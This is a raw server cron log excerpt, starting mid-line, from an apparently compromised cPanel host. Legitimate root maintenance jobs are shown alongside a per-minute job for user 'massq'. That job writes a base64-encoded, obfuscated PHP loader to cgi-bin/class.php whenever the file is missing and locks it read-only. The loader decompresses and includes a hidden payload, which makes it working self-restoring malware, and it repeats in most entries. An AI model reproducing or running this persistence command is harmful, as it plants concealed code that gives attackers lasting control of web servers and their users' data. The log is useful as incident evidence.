oJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:34:01 server CROND[8962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:35:01 server CROND[9065]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:35:01 server CROND[9067]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 09:35:01 server CROND[9068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:35:01 server CROND[9069]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 09:35:01 server CROND[9071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:36:01 server CROND[9196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:37:01 server CROND[9272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:38:01 server CROND[9444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:39:01 server CROND[9517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:39:01 server CROND[9518]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 09:40:01 server CROND[9591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:40:01 server CROND[9592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:40:01 server CROND[9593]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 09:40:01 server CROND[9595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:41:01 server CROND[9734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:42:01 server CROND[9806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:42:01 server CROND[9807]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 09:43:01 server CROND[9892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:44:01 server CROND[10053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:45:01 server CROND[10122]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:45:01 server CROND[10123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:45:01 server CROND[10124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:46:01 server CROND[10241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
